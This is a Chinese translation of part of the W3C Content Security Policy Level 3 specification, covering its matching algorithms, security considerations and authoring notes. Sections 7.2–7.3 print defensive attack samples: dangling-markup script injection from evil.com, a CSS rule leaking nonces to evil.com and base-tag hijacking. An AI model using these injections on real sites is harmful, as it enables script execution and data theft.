    2. 如果 result 为 "Blocked", 则令 violates 为 directive。

  4. 返回 violates。

6.7.2.2. 资源提示 request 是否违反 policy?

给定一个请求 request,一个策略 policy,以及 一个源 self-origin,该算法若资源提示请求违反了所有策略则返回默认 指令,否则返回 "Does Not Violate"。

  1. 令 defaultDirective 为 policy 的首个 指令,其 名称 为 "default-src"。

  2. 如果 defaultDirective 不存在,则返回 "Does Not Violate"。

  3. 遍历 policy 的每个 directive:

    1. 如果 directive 的 名称 不是下列之一:

      • child-src

      • connect-src

      • font-src

      • frame-src

      • img-src

      • manifest-src

      • media-src

      • object-src

      • script-src

      • script-src-elem

      • style-src

      • style-src-elem

      • worker-src

      则跳过。

    2. 断言:directive 的 值 是一个 源列表。

    3. 令 result 为执行 § 6.7.2.5 请求是否匹配源列表?, 参数为 request、directive 的 值 和 self-origin 得到的结果。

    4. 如果 result 为 "Allowed",则返回 "Does Not Violate"。

  4. 返回 defaultDirective。

6.7.2.3. nonce 是否匹配 源列表?

给定一个请求的加密随机数元数据 nonce 和一个源列表 source list,如果随机数与列表中的一个或多个源表达式匹配,则此算法返回“Matches”,否则返回“Does Not Match”:

  1. 断言:source list 不为 null。

  2. 如果 nonce 是空字符串,返回 "Does Not Match"。

  3. 对于每个 source list 的 expression:

    1. 如果 expression 匹配 nonce-source 语法,且 nonce 与 expression 的 base64-value 部分相同,返回 "Matches"。

  4. 返回 "Does Not Match"。

6.7.2.4. integrity metadata 是否匹配 源列表?

给定 request 的 完整性元数据 integrity metadata 和一个 源列表 source list, 该算法如果完整性元数据与列表中的一个或多个源表达式匹配,则返回 "Matches", 否则返回 "Does Not Match":

  1. 断言:source list 不为 null。

  2. 令 integrity expressions 为 source list 中 匹配 hash-source 语法的 源表达式 集合。

  3. 如果 integrity expressions 为空,返回 "Does Not Match"。

  4. 令 integrity sources 为 解析元数据 得到的结果,输入为 integrity metadata。 [SRI]

  5. 如果 integrity sources 为 "no metadata" 或为空集合,返回 "Does Not Match"。

  6. 对每一个 integrity sources 的 source:

    1. 如果 integrity expressions 不包含 源表达式 其 hash-algorithm 与 source 的 hash-algorithm ASCII 不区分大小写匹配, 且 base64-value 与 source 的 base64-value 完全一致, 返回 "Does Not Match"。

  7. 返回 "Matches"。

注:这里仅验证 integrity metadata 是否为 source list 中 hash-source 源的非空子集。 非匹配资源的阻断依赖于浏览器的 Subresource Integrity [SRI] 执行。

6.7.2.5. request 是否匹配 源列表?

给定一个请求 request,一个源列表 source list, 以及一个源 self-origin,该算法返回执行 § 6.7.2.7 URL是否匹配源列表(含重定向计数), 传入 request 的 当前URL、source list、 self-origin,以及 request 的 重定向计数 的结果。

注意:这通常用于指令的请求前检查算法,以验证给定的请求是否合理。

6.7.2.6. response 对 request 是否匹配 源列表?

给定一个响应 response,一个请求 request,一个 源列表 source list,以及一个源 self-origin,该 算法返回执行 § 6.7.2.7 URL是否匹配源列表(含重定向计数), 传入 response 的 URL、source list、self-origin 和 request 的 重定向计数 的结果。

注意:这通常用于指令的后请求检查算法,以验证给定的响应是否合理。

6.7.2.7. url 是否匹配 source list 中的表达式及 redirect count?

给定一个 URL url,一个 源列表 source list,一个 来源 origin,以及一个数字 redirect count,此算法如果 url 匹配 source list 中的一个或多个源表达式则返回 "Matches",否则返回 "Does Not Match":

  1. 断言:source list 不为 null。

  2. 如果 source list 为空,返回 "Does Not Match"。

  3. 如果 source list 的 大小为 1,且 source list[0] 与字符串 "'none'" ASCII 不区分大小写匹配,则返回 "Does Not Match"。

    注:空源列表(即没有值的指令:script-src, 与 script-src host1 相对)等同于包含 'none' 的源列表, 并不会匹配任何 URL。

    注:'none' 关键字在存在其他源表达式时无效。 即,列表 « 'none' » 不匹配任何 URL。 另一方面,列表 « 'none', https://example.com » 会匹配 https://example.com/。

  4. 对于 source list 中每一个 expression:

    1. 如果 § 6.7.2.8 url 是否在 origin 且重定向计数下匹配表达式? 在 url、expression、origin 和 redirect count 上执行返回 "Matches",则返回 "Matches"。

  5. 返回 "Does Not Match"。

6.7.2.8. url 是否匹配 origin 中的 expression 及 redirect count?

给定一个 URL url,一个 源表达式 expression,一个 源 origin,以及一个数字 redirect count, 本算法若 url 匹配 expression 则返回 "Matches", 否则返回 "Does Not Match"。

注意: origin 是用于解析 expression 的资源 源。例如 "'self'", 会因该上下文而各有不同含义。

  1. 如果 expression 是字符串 "*",并且满足以下一个或多个 条件,则返回 "Matches":

    1. url 的方案是一个HTTP(S) 方案。

    2. url 的方案与 origin 的方案相同。

    注意:此逻辑意味着,要 允许来自非 HTTP(S) 方案的资源, 必须明确指定该方案(例如 default-src * data: custom-scheme-1: custom-scheme-2:), 或者受保护资源必须从相同方案加载。

  2. 如果 expression 匹配scheme-source 或 host-source 语法:

    1. 如果 expression 具有scheme-part,并且它与 url 的方案不scheme-part 匹配,则返回 "Does Not Match"。

    2. 如果 expression 匹配scheme-source 语法, 则返回 "Matches"。

  3. 如果 expression 匹配host-source 语法:

    1. 如果 url 的 host 为 null,则返回 "Does Not Match"。

    2. 如果 expression 没有scheme-part,并且 origin 的 方案与 url 的方案不进行scheme-part 匹配, 则返回 "Does Not Match"。

      注意:与上面的scheme-part一样,我们允许不带方案的 host-source 表达式从不安全 方案升级到安全方案。

    3. 如果 expression 的host-part与 url 的 host 不进行host-part 匹配, 则返回 "Does Not Match"。

    4. 如果存在 expression 的port-part,则令 port-part 为该值, 否则为 null。

    5. 如果 port-part 与 url 不进行port-part 匹配, 则返回 "Does Not Match"。

    6. 如果 expression 包含一个非空的path-part,并且 redirect count 为 0,则:

      1. 令 path 为在 url 上运行URL 路径序列化器的结果。

      2. 如果 expression 的path-part与 path 不进行path-part 匹配, 则返回 "Does Not Match"。

    7. 返回 "Matches"。

  4. 如果 expression 与 "'self'" 进行ASCII 不区分大小写匹配,则:

    1. 如果 url 的方案为 "blob",则返回 "Does Not Match"。

    2. 如果满足以下一个或多个条件,则返回 "Matches":

      1. origin 与 url 的源同源

      2. origin 的 host 与 url 的 host 相同, origin 的 port 与 url 的 port 要么相同, 要么分别是各自方案的默认端口,并且 满足以下一个或多个条件:

        1. url 的方案为 "https" 或 "wss"

        2. origin 的方案为 "http" 且 url 的 方案为 "http" 或 "ws"

    注意:与上面的scheme-part 逻辑一样, "'self'" 匹配算法允许在安全的情况下升级到安全方案。我们将这些升级限制为运行在特定方案 默认端口上的端点,或运行在与受保护资源的源相匹配的端口上的端点, 因为这似乎足以处理可以合理预期 能够成功的升级。

  5. 返回 "Does Not Match"。

6.7.2.9. scheme-part 匹配

一个 ASCII 字符串 scheme-part 匹配另一个 ASCII 字符串,如果 CSP 源表达式包含前者作为 scheme-part,有可能匹配到包含后者作为 协议的 URL。例如,我们说 "http" scheme-part 匹配 "https"。

注:这种匹配关系是非对称的。例如,源表达式 https: 和 https://example.com/ 不会匹配 URL http://example.com/。我们总是允许从明确的不安全表达式向安全升级。script-src http: 被视为与 script-src http: https: 等价,script-src http://example.com 等价于 script-src http://example.com https://example.com,connect-src ws: 等价于 connect-src ws: wss:。

更正式地说,两个 ASCII 字符串 A 和 B 被认为 scheme-part 匹配,如果 下列算法返回 "Matches":

  1. 如果满足下列任一情况,返回 "Matches":

    1. A 与 B ASCII 不区分大小写匹配。

    2. A 与 "http" ASCII 不区分大小写匹配,且 B 与 "https" ASCII 不区分大小写匹配。

    3. A 与 "ws" ASCII 不区分大小写匹配,且 B 与 "wss"、"http" 或 "https" ASCII 不区分大小写匹配。

    4. A 与 "wss" ASCII 不区分大小写匹配,且 B 与 "https" ASCII 不区分大小写匹配。

  2. 返回 "Does Not Match"。

6.7.2.10. host-part 匹配

一个 ASCII 字符串 host-part 匹配 一个 host,如果一个包含前者作为 host-part 的 CSP 源表达式可能匹配后者。例如,我们说 "www.example.com" host-part 匹配 "www.example.com"。

更正式地说,如果以下算法返回 "Matches",则认为 ASCII 字符串 pattern 和 host host 是 host-part 匹配。

注意: 匹配关系是非对称的。即,pattern 匹配 host 并不意味着 host 会匹配 pattern。例如,*.example.com host-part 匹配 www.example.com,但 www.example.com 不 host-part 匹配 *.example.com。

注意: 未来版本的规范可能允许文字形式的 IPv6 和 IPv4 地址,具体取决于使用情况和需求。然而,由于 IP 地址相对于命名主机的安全属性较弱,建议作者尽可能优先使用后者。

  1. 如果 host 不是 域名, 返回 "Does Not Match"。

  2. 如果 pattern 是 "*",返回 "Matches"。

  3. 如果 pattern 以 "*." 开头:

    1. 令 remaining 为将 pattern 顶部的 U+002A (*) 去除后 转为 ASCII 小写的结果。

    2. 如果 host 转为 ASCII 小写后 以 remaining 结尾,则返回 "Matches"。

    3. 返回 "Does Not Match"。

  4. 如果 pattern 与 host 不是 ASCII 不区分大小写匹配, 返回 "Does Not Match"。

  5. 返回 "Matches"。

6.7.2.11. port-part 匹配

一个 ASCII 字符串或 null input port-part matches URL url,条件是:如果一个 CSP 源表达式(它将前者包含为 port-part)可能匹配一个包含后者端口和方案的 URL。例如,“80” port-part matches 匹配 http://example.com。

  1. 断言:input 为 null、“*”或一个或多个 ASCII 数字的序列。

  2. 如果 input 等于 “*”,则返回 “匹配”。

  3. 如果 input 为 null,则令 normalizedInput 为 null;否则将 input 解释为十进制数。

  4. 如果 normalizedInput 等于 url 的端口,则返回 “匹配”。

  5. 如果 url 的端口为 null:

    1. 令 defaultPort 为 url 的方案的默认端口。

    2. 如果 normalizedInput 等于 defaultPort,则返回 “匹配”。

  6. 返回 “不匹配”。

6.7.2.12. path-part 匹配

如果一个 ASCII 字符串 path A 与另一个 ASCII 字符串 path B 满足以下条件,则称前者与后者进行path-part 匹配: 一个将前者作为 path-part 包含在内的 CSP 源表达式,可能与 一个将后者作为路径包含在内的 URL 匹配。 例如,我们称 "/subdirectory/" 与 "/subdirectory/file" 进行path-part 匹配。

注意: 匹配关系是非对称的。即,path A 匹配 path B 并不意味着 path B 会匹配 path A。

  1. 如果 path A 是空字符串,返回 "Matches"。

  2. 如果 path A 仅由一个等于 U+002F SOLIDUS 字符 (/) 的字符组成,并且 path B 是空字符串,返回 "Matches"。

  3. 如果 path A 的最后一个字符是 U+002F SOLIDUS 字符 (/),则设 exact match 为 false,否则设为 true。

  4. 设 path list A 和 path list B 为将 path A 和 path B 分别使用 U+002F SOLIDUS 字符 (/) 严格分割后的结果。

  5. 如果 path list A 的项数多于 path list B,返回 "Does Not Match"。

  6. 如果 exact match 为 true,并且 path list A 的项数与 path list B 不相同,返回 "Does Not Match"。

  7. 如果 exact match 为 false:

    1. 断言:path list A 的最后一项是空字符串。

    2. 从 path list A 中移除最后一项。

  8. 对于每个 piece A,在 path list A 中:

    1. 设 piece B 为 path list B 中的下一个项。

    2. 设 decoded piece A 为 百分号解码后的 piece A。

    3. 设 decoded piece B 为 百分号解码后的 piece B。

    4. 如果 decoded piece A 不等于 decoded piece B,返回 "Does Not Match"。

  9. 返回 "Matches"。

6.7.3. 元素匹配算法

6.7.3.1. element 是否可以添加 nonce?

给定一个 元素 element,本算法返回 "Nonceable",如果 nonce-source 表达式可以匹配该元素 (详见 § 7.2 Nonce 劫持),否则返回 "Not Nonceable", 表示不应用此类表达式。

  1. 如果 element 没有名为 "nonce" 的属性,则返回 "Not Nonceable"。

  2. 如果 element 是 script 元素,则 遍历 element 的 属性列表中的每个 attribute:

    1. 如果 attribute 的名称包含 ASCII 不区分大小写匹配 "<link", "<script", 或 "<style",返回 "Not Nonceable"。

    2. 如果 attribute 的值包含 ASCII 不区分大小写匹配 "<link", "<script", 或 "<style",返回 "Not Nonceable"。

  3. 如果 element 在标记化过程中出现过 重复属性 解析错误 ,则返回 "Not Nonceable"。

    如果要在此处使用该错误,HTML 需要某种 hook 来记录这一错误。[whatwg/html Issue #3257]

  4. 返回 "Nonceable"。

此处理旨在缓解悬挂标记攻击窃取 nonce 并加载注入脚本的风险。然而它相当昂贵,因为需要遍历所有属性及其值判断该脚本是否应执行。此处只对有 nonce 的 script 元素做此检查以优化影响,但在了解其影响前应将此算法视为“有风险”。[w3c/webappsec-csp Issue #98]

6.7.3.2. 源列表是否允许所有内联行为用于 type?

一个 源列表 允许所有内联行为 对于给定 type,如果它包含 关键字来源 表达式 'unsafe-inline',且未根据下述算法覆盖该表达式,则允许内联行为:

给定一个 源列表 list 和字符串 type, 下述算法如果允许所有给定 type 的内联内容,则返回 "Allows",否则返回 "Does Not Allow"。

  1. 令 allow all inline 为 false。

  2. 遍历 list 中每个 expression:

    1. 如果 expression 匹配 nonce-source 或 hash-source 语法,返回 "Does Not Allow"。

    2. 如果 type 为 "script"、"script attribute" 或 "navigation", 且 expression 匹配 关键字来源 "'strict-dynamic'",返回 "Does Not Allow"。

      注: 'strict-dynamic' 只适用于脚本类型,不适用于其他资源类型。详细用法见 § 8.2 "'strict-dynamic'" 的用法。

    3. 如果 expression 与 关键字来源 "'unsafe-inline' 进行 ASCII 不区分大小写匹配, 将 allow all inline 设为 true。

  3. 如果 allow all inline 为 true,返回 "Allows"。 否则返回 "Does Not Allow"。

源列表如果 允许所有内联行为:
'unsafe-inline' http://a.com http://b.com
'unsafe-inline'

由于存在 nonce 和/或哈希,或者不存在 'unsafe-inline',以下源列表不 允许所有内联行为:

'sha512-321cba' 'nonce-abc'
http://example.com 'unsafe-inline' 'nonce-abc'

由于存在 'strict-dynamic',当 type 为 'script' 或 'script attribute' 时,以下源列表不 允许所有内联行为,但在其他情况下允许所有内联行为:

'unsafe-inline' 'strict-dynamic'
http://example.com 'strict-dynamic' 'unsafe-inline'
6.7.3.3. element 是否匹配 type 和 source 的源列表?

给定一个元素 element,一个源列表 list,一个字符串 type,以及一个字符串 source,此算法返回 “Matches” 或 “Does Not Match”。

注意:无论文档的编码如何,在应用任何哈希算法之前,source 都将转换为 UTF-8。

  1. 如果§ 6.7.3.2 源列表是否允许所有内联行为类型?在给定 list 和 type 的情况下返回 “Allows”,则返回 “Matches”。

  2. 如果 type 是 “script” 或 “style”,并且在对 element 执行§ 6.7.3.1 元素是否可设置随机数?时返回 “Nonceable”:

    1. 对于 list 中的每个 expression:

      1. 如果 expression 匹配nonce-source语法,并且 element 具有一个 nonce 属性,其值是 expression 的base64-value部分,则返回 “Matches”。

    注意:随机数仅适用于内联 script 和内联 style, 不适用于任一元素的属性或 javascript: 导航。

  3. 令 unsafe-hashes flag 为 false。

  4. 对于 list 中的每个 expression:

    1. 如果 expression 与 关键字来源 "'unsafe-hashes'" 进行 ASCII 不区分大小写匹配, 则将 unsafe-hashes flag 设为 true。跳出循环。

  5. 如果 type 是 “script” 或 “style”,或者 unsafe-hashes flag 是 true:

    1. 将 source 设置为对 source 执行JavaScript 字符串转换的结果执行UTF-8 编码的结果。

    2. 对于 list 中的每个 expression:

      1. 如果 expression 是 "'strict-dynamic'" 关键字源:

        1. 如果 type 是 "script",并且 element 不是 解析器插入,则返回"匹配"。

      2. 如果 expression 匹配hash-source语法:

        1. 令 algorithm 为 null。

        2. 如果 expression 的 hash-algorithm 部分与 "sha256" 进行 ASCII 不区分大小写 匹配,则将 algorithm 设置为 SHA-256。

        3. 如果 expression 的 hash-algorithm 部分与 "sha384" 进行 ASCII 不区分大小写 匹配,则将 algorithm 设置为 SHA-384。

        4. 如果 expression 的 hash-algorithm 部分与 "sha512" 进行 ASCII 不区分大小写 匹配,则将 algorithm 设置为 SHA-512。

        5. 如果 algorithm 不为 null:

          1. 令 actual 为对将 algorithm 应用于 source 的 结果进行 base64 编码所得的 结果。

          2. 令 expected 为 expression 的 base64-value 部分, 将其中所有 '-' 字符替换为 '+',并将所有 '_' 字符 替换为 '/'。

            注意:此 替换会将以 base64url 编码表示的哈希规范化为 base64 编码,以便进行匹配。

          3. 如果 actual 与 expected 完全相同,则返回 "Matches"。

    注意:哈希适用于内联 script 和内联 style。 如果存在 “'unsafe-hashes'” 源表达式,它们也将适用于事件处理程序、样式属性和 javascript: 导航。

  6. 返回 “Does Not Match”。

6.8. 指令算法

6.8.1. 获取 request 的有效指令

每个 fetch 指令 控制 request 的特定目标。给定一个 请求 request,以下算法返回请求的 名称 或 null,作为 有效指令:

  1. 如果 request 的 initiator 是 "prefetch" 或 "prerender",返回 default-src。

  2. 根据 request 的 destination,执行相应步骤:

    空字符串
    1. 返回 connect-src。

    "manifest"
    1. 返回 manifest-src。

    "object"
    "embed"
    1. 返回 object-src。

    "frame"
    "iframe"
    1. 返回 frame-src。

    "audio"
    "track"
    "video"
    1. 返回 media-src。

    "font"
    1. 返回 font-src。

    "image"
    1. 返回 img-src。

    "style"
    1. 返回 style-src-elem。

    "script"
    "xslt"
    "audioworklet"
    "paintworklet"
    1. 返回 script-src-elem。

    "serviceworker"
    "sharedworker"
    "worker"
    1. 返回 worker-src。

    "json"
    "text"
    "webidentity"
    1. 返回 connect-src。

    "report"
    1. 返回 null。

  3. 返回 connect-src。

注意: 该算法返回 connect-src 作为默认回退。这是为了处理新添加的 fetch 目标,这些目标不明确归入其他类别中。

6.8.2. 获取用于内联检查的有效指令

给定一个字符串 type,此算法返回有效指令的 名称。

注意: 虽然 有效指令 仅为 请求 定义,但在本算法中,它用于表示与特定类型内联检查最相关的指令。

  1. 根据 type 进行判断:

    "script"
    "navigation"
    1. 返回 script-src-elem。

    "script attribute"
    1. 返回 script-src-attr。

    "style"
    1. 返回 style-src-elem。

    "style attribute"
    1. 返回 style-src-attr。

  2. 返回 null。

6.8.3. 获取提取指令的回退列表

将返回特定指令的回退指令的有序集合。 返回的有序集合按从最相关到最不相关的顺序排序,并且它包含有效的指令本身。

给定一个字符串 directive name:

  1. 根据 directive name 进行判断:

    "script-src-elem"
    1. 返回 << "script-src-elem", "script-src", "default-src" >>。

    "script-src-attr"
    1. 返回 << "script-src-attr", "script-src", "default-src" >>。

    "style-src-elem"
    1. 返回 << "style-src-elem", "style-src", "default-src" >>。

    "style-src-attr"
    1. 返回 << "style-src-attr", "style-src", "default-src" >>。

    "worker-src"
    1. 返回 << "worker-src", "child-src", "script-src", "default-src" >>。

    "connect-src"
    1. 返回 << "connect-src", "default-src" >>。

    "manifest-src"
    1. 返回 << "manifest-src", "default-src" >>。

    "object-src"
    1. 返回 << "object-src", "default-src" >>。

    "frame-src"
    1. 返回 << "frame-src", "child-src", "default-src" >>。

    "media-src"
    1. 返回 << "media-src", "default-src" >>。

    "font-src"
    1. 返回 << "font-src", "default-src" >>。

    "img-src"
    1. 返回 << "img-src", "default-src" >>。

  2. 返回 << >>。

6.8.4. 判断是否应执行提取指令

此算法用于获取指令,以决定一个指令是应该执行还是推迟到另一个更合适的指令。 例如:如果effective directive name是worker-src(意味着我们当前正在检查一个 worker 请求),那么如果存在worker-src或script-src指令,则default-src指令不应执行。

给定一个字符串effective directive name,一个字符串directive name和一个策略 policy:

  1. 令 directive fallback list 为在 effective directive name 上执行§ 6.8.3 获取 fetch 指令回退列表的结果。

  2. 对于 directive fallback list 中的每个 fallback directive:

    1. 如果 directive name 是 fallback directive,则返回“Yes”。

    2. 如果 policy 包含一个其名称为 fallback directive 的指令,则返回“No”。

  3. 返回“No”。

7. 安全和隐私注意事项

7.1. Nonce 重用

Nonce 会覆盖它们所传递的指令中的其他限制。因此,保持它们不可猜测是至关重要的,否则绕过资源的策略就变得非常简单。

如果服务器在 nonce-source 表达式中作为 策略的一部分传递,服务器必须每次传递策略时生成一个唯一值。生成的值应至少有 128 位长(编码之前),并且应通过密码学安全的随机数生成器生成,以确保该值对攻击者难以预测。

注意: 使用 nonce 允许内联脚本或样式的安全性不如不使用 nonce,因为 nonce 会覆盖它们所在指令中的限制。攻击者一旦能获取 nonce,就可以随时执行任意脚本。不过,当在旧代码之上叠加内容安全策略时,nonce 提供了比 'unsafe-inline' 更大的安全提升。在考虑使用 'unsafe-inline' 时,建议作者考虑使用 nonce(或哈希)替代。

7.2. Nonce 劫持

7.2.1. 悬空标记攻击

悬空标记攻击,例如在 [FILEDESCRIPTOR-2015] 中讨论的攻击,可以用于重新利用页面的合法 nonce 进行注入。例如,假设一个注入点位于某个 script 元素之前:

<p>Hello, [注入点]</p>
    <script nonce=abc src=/good.js></script>
    

如果攻击者注入字符串 "<script src='https://evil.com/evil.js' ",则浏览器会收到以下内容:

<p>Hello, <script src='https://evil.com/evil.js' </p>
    <script nonce=abc src=/good.js></script>
    

然后它将解析该代码,得到一个具有指向恶意载荷的 src 属性的 script 元素,包含一个名为 </p> 的属性,一个名为 "<script" 的属性,一个 nonce 属性,以及被解析器丢弃为重复项的第二个 src 属性。

§ 6.7.3.1 是否元素可以应用 nonce? 算法尝试通过遍历 script 或 style 元素属性,查找属性名或值中是否包含字符串 "<script" 或 "<style" 来减轻这种特定攻击。

在实现此算法时,用户代理必须特别注意不要忽略重复的属性。如果元素具有重复的属性,则该属性的所有实例在第一个之后都会被忽略,但在 § 6.7.3.1 是否元素可以应用 nonce? 算法中,所有属性(包括重复的属性)都需要进行检查。

目前,HTML 规范的解析算法会在§ 6.7.3.1 元素是否可设置随机数?算法运行之前移除此信息,这使得无法实际检测重复属性。[whatwg/html 问题 #3257]

对于以下示例页面:

Hello, [注入点]
    <script nonce=abc src=/good.js></script>
    

以下注入的字符串将使用重复属性来尝试绕过 § 6.7.3.1 是否元素可以应用 nonce? 算法检查:

Hello, <script src='https://evil.com/evil.js' x="" x=
    <script nonce="abcd" src=/good.js></script>
    

7.2.2. 通过内容属性的 Nonce 泄露

某些对 CSP 的攻击依赖于通过各种可以读取内容属性的机制来泄露 nonce 数据。CSS 选择器是最好的例子:通过巧妙地使用前缀/后缀文本匹配选择器的值,可以将 nonce 数据发送到攻击者的服务器以便重用。例如:

script[nonce=a] { background: url("https://evil.com/nonce?a");}
    

nonce 部分讨论了通过隐藏元素的内容属性中的 nonce,并将其移动到内部插槽来减轻这些类型的攻击。这是为了确保 nonce 值仅暴露给脚本,而不暴露给任何其他非脚本渠道。

7.3. Nonce 重定向

Nonce 会绕过 host-source 表达式,允许开发者从任意来源加载代码。这通常对开发者而言是可以接受的,也是理想的。但是,如果攻击者能够注入一个 base 元素,那么在解析相对 URL 时,原本安全的页面可能会被劫持。也就是说,在 https://example.com/ 上,以下代码将加载 https://example.com/good.js:

<script nonce=abc src=/good.js></script>
    

然而,以下代码将加载 https://evil.com/good.js:

<base href="https://evil.com">
    <script nonce=abc src=/good.js></script>
    

为了降低这种风险,建议在每个页面上设置明确的 base 元素,或通过在页面策略中设置 base-uri 指令来限制攻击者注入自己的 base 元素的能力。例如,base-uri 'none'。

7.4. CSS 解析

style-src 指令限制了受保护资源可以从哪些位置加载样式。然而,如果用户代理使用宽松的 CSS 解析算法,攻击者可能会诱骗用户代理接受来自原本可信来源的恶意“样式表”。

这些攻击类似于 Chris Evans 在 2009 年描述的跨源数据泄露攻击 [CSS-ABUSE]。用户代理应使用相同的机制抵御这两种攻击:对 MIME 类型不正确的样式表使用更严格的 CSS 解析规则。

7.5. 违规报告

本文件中的违规报告机制旨在降低恶意网站利用违规报告探查其他服务器行为的风险。例如,考虑一个恶意网站允许 https://example.com 作为图像来源。如果恶意网站尝试将 https://example.com/login 作为图像加载,并且 example.com 服务器重定向到一个身份提供者(例如 identityprovider.example.net),则 CSP 会阻止请求。如果违规报告包含完整的被阻止 URL,则违规报告可能包含重定向 URL 中的敏感信息,例如会话标识符或声称的身份。因此,用户代理仅包含原始请求的 URL,而不包含重定向目标。

另请注意,违规报告应被视为攻击者控制的数据。希望 在仪表板或类似服务中收集违规报告的开发者,应注意在渲染其内容之前进行适当 转义(并且可能还应自行使用 CSP,以进一步 缓解注入风险)。对于违规报告的 "script-sample" 属性 以及 sample 属性尤其如此,后者属于 SecurityPolicyViolationEvent, 这两个属性都是完全由攻击者控制的字符串。

7.6. 路径与重定向

为了避免跨源泄露路径信息(如 Egor Homakov 在其文章 使用内容安全策略作恶 中讨论的),匹配算法会在加载资源是重定向的结果时忽略源表达式的路径部分。例如,假设一个页面的策略为 img-src example.com example.org/path:

当重定向存在时,这种限制会降低文档策略的粒度,但这是为了避免此类信息泄露被暴力破解所做的必要妥协。

在 public-webappsec@w3.org 上有较长的讨论线程 “移除 CSP 中的路径?”,详细讨论了其他替代提案。

7.7. 安全升级

为了减轻历史扫描攻击的某种变体,如 Yan Zhu 的 Sniffly,CSP 不允许页面通过类似 script-src http://example.com 的策略将自己锁定到不安全的 URL 中。如 § 6.7.2.9 scheme-part matching 中所述,源表达式的方案部分将始终允许升级到安全版本。

7.8. CSP 继承以避免绕过

从 本地方案 加载的文档将继承源文档中的策略副本。这样做的目的是确保页面无法通过嵌入框架或打开包含完全受其控制内容的新窗口来绕过其策略(例如 srcdoc 文档、blob: 或 data: URLs、可通过 document.write() 操作的 about:blank 文档等)。

如果没有这种机制,页面可以通过简单地嵌入一个 srcdoc iframe,即使页面的执行上下文中没有 unsafe-inline,也可以执行内联脚本。
<iframe srcdoc="<script>alert(1);</script>"></iframe>
    

请注意,我们创建了CSP 列表的副本,这意味着新文档的CSP 列表是其创建时相关策略的快照。新文档的CSP 列表中的修改不会影响源文档的CSP 列表,反之亦然。

在下面的示例中,iframe 内的图片将不会加载,因为它被 iframe 中的 meta 标签的策略阻止了。iframe 外的图片将会加载(假设主页面策略未阻止它),因为插入到 iframe 中的策略不会影响到主页面。
<iframe srcdoc='<meta http-equiv="Content-Security-Policy" content="img-src example.com;">
                       <img src="not-example.com/image">'></iframe>

    <img src="not-example.com/image">
    

8. 编写注意事项

8.1. 多个策略的影响

本节不是规范性内容。

上述章节指出,当存在多个策略时,每个策略必须根据其类型进行强制或报告。一个示例有助于澄清这在实践中应该如何运作。在某些情况下,以下HTTP头可能会影响 XMLHttpRequest 的行为:

Content-Security-Policy: default-src 'self' http://example.com http://example.net;
                    connect-src 'none';
    Content-Security-Policy: connect-src http://example.com/;
                    script-src http://example.com/
    

是否允许连接到 example.com?简单的答案是,不允许。强制实施这两个策略意味着潜在的连接必须同时满足两个策略。尽管第二个策略允许此连接,第一个策略包含 connect-src 'none',因此其强制执行会阻止连接。这意味着向策略列表添加附加策略只会进一步限制受保护资源的能力。

为了进一步说明,请考虑页面上的一个脚本标签。第一个策略通过 default-src 指令将脚本限制在 'self'、http://example.com 和 http://example.net 内。而第二个策略只允许来自 http://example.com/ 的脚本。脚本将仅在符合两个策略的标准时加载:在此情况下,唯一符合条件的来源是 http://example.com,因为两个策略都允许它。

8.2. "'strict-dynamic'" 的使用

本节不具备规范性。

基于主机和路径的策略很难做到绝对正确,尤其是在像 CDN 这样庞大的来源下。Cure53 的 H5SC Minichallenge 3:“Sh*t, it’s CSP!”中的解决方案 [H5SC3] 是此类策略可能被绕过的很好的实例。虽然 CSP 能够通过详尽声明具体资源来缓解这些绕过,但这些列表最终往往非常脆弱、笨拙且难以实现和维护。

"'strict-dynamic'" 源表达式旨在让内容安全策略(CSP)更容易部署,特别是针对已有应用:这些应用对直接加载的脚本非常有信心,但对提前列举所有资源的能力信心不足。

如果出现在 script-src 或 default-src 指令中,将有两个主要影响:

  1. host-source 和 scheme-source 表达式,以及 "'unsafe-inline'" 和 "'self' 关键字源,在加载脚本时将被忽略。

    hash-source 和 nonce-source 表达式将被认可。

  2. 由非 "解析器插入" 的 script 元素触发的脚本请求是允许的。

第一项变化允许你以向后兼容的方式部署 "'strict-dynamic'",无需对用户代理进行嗅探:策略 'unsafe-inline' https: 'nonce-abcdefg' 'strict-dynamic' 在支持 CSP1 的浏览器中表现得像 'unsafe-inline' https:,在支持 CSP2 的浏览器中表现为 https: 'nonce-DhcnhD3khTMePgXwdayK9BsMqXjhguVV',而在支持 CSP3 的浏览器中表现为 'nonce-DhcnhD3khTMePgXwdayK9BsMqXjhguVV' 'strict-dynamic'。

第二项允许通过 nonce 或 hash 获得访问页面权限的脚本,无需显式将其依赖加入页面策略就能加载依赖资源。

假设 MegaCorp, Inc. 部署了以下策略:
Content-Security-Policy: script-src 'nonce-DhcnhD3khTMePgXwdayK9BsMqXjhguVV' 'strict-dynamic'

并在该策略生效的情况下提供以下 HTML:

...
<script src="https://cdn.example.com/script.js" nonce="DhcnhD3khTMePgXwdayK9BsMqXjhguVV" ></script>
...

这将生成一个对 https://cdn.example.com/script.js 的请求,该请求 不会被阻止,因为存在匹配的 nonce 属性。

如果 script.js 包含以下代码:

var s = document.createElement('script');
s.src = 'https://othercdn.not-example.net/dependency.js';
document.head.appendChild(s);

document.write('<scr' + 'ipt src="/sadness.js"></scr' + 'ipt>');

dependency.js 将会加载,因为由 createElement() 创建的 script 元素不是“parser-inserted”。

但是,sadness.js 将不会加载,因为 document.write() 会生成 script 元素,而这些元素是“parser-inserted”。

注意:当策略使用 'strict-dynamic' 时, 运行时创建的脚本将被允许执行。如果此类脚本的地址可被攻击者控制,策略就会允许加载任意脚本。开发者在策略中使用 'strict-dynamic' 时,应该审查非解析器插入相关 API 的用法,并确保它们不会用来处理潜在的不可信数据。这包括那些偏向于运行时确定脚本地址的应用或框架。

8.3. "'unsafe-hashes'" 的使用

本节不是规范性内容。

传统网站和依赖传统组件的网站可能难以完全外部化事件处理程序。这些网站可以通过允许 'unsafe-inline' 来启用此类处理程序,但这是一种高风险的选择(而且不能与 nonce 或哈希结合使用)。

"'unsafe-hashes'" 源表达式旨在简化这些情况下 CSP 的部署,使其更安全,通过允许开发人员使用哈希启用特定的处理程序。

MegaCorp, Inc. 无法在合理的时间内完全去除以下 HTML 代码:
<button id="action" onclick="doSubmit()">

与其通过指定 "'unsafe-inline'" 来降低安全性,他们决定使用 "'unsafe-hashes'" 以及对应于 doSubmit() 的哈希源表达式,如下所示:

Content-Security-Policy: script-src 'unsafe-hashes' 'sha256-jzgBGA4UWFFmpOBq0JpdsySukE1FrEN5bUpoK8Z29fY='

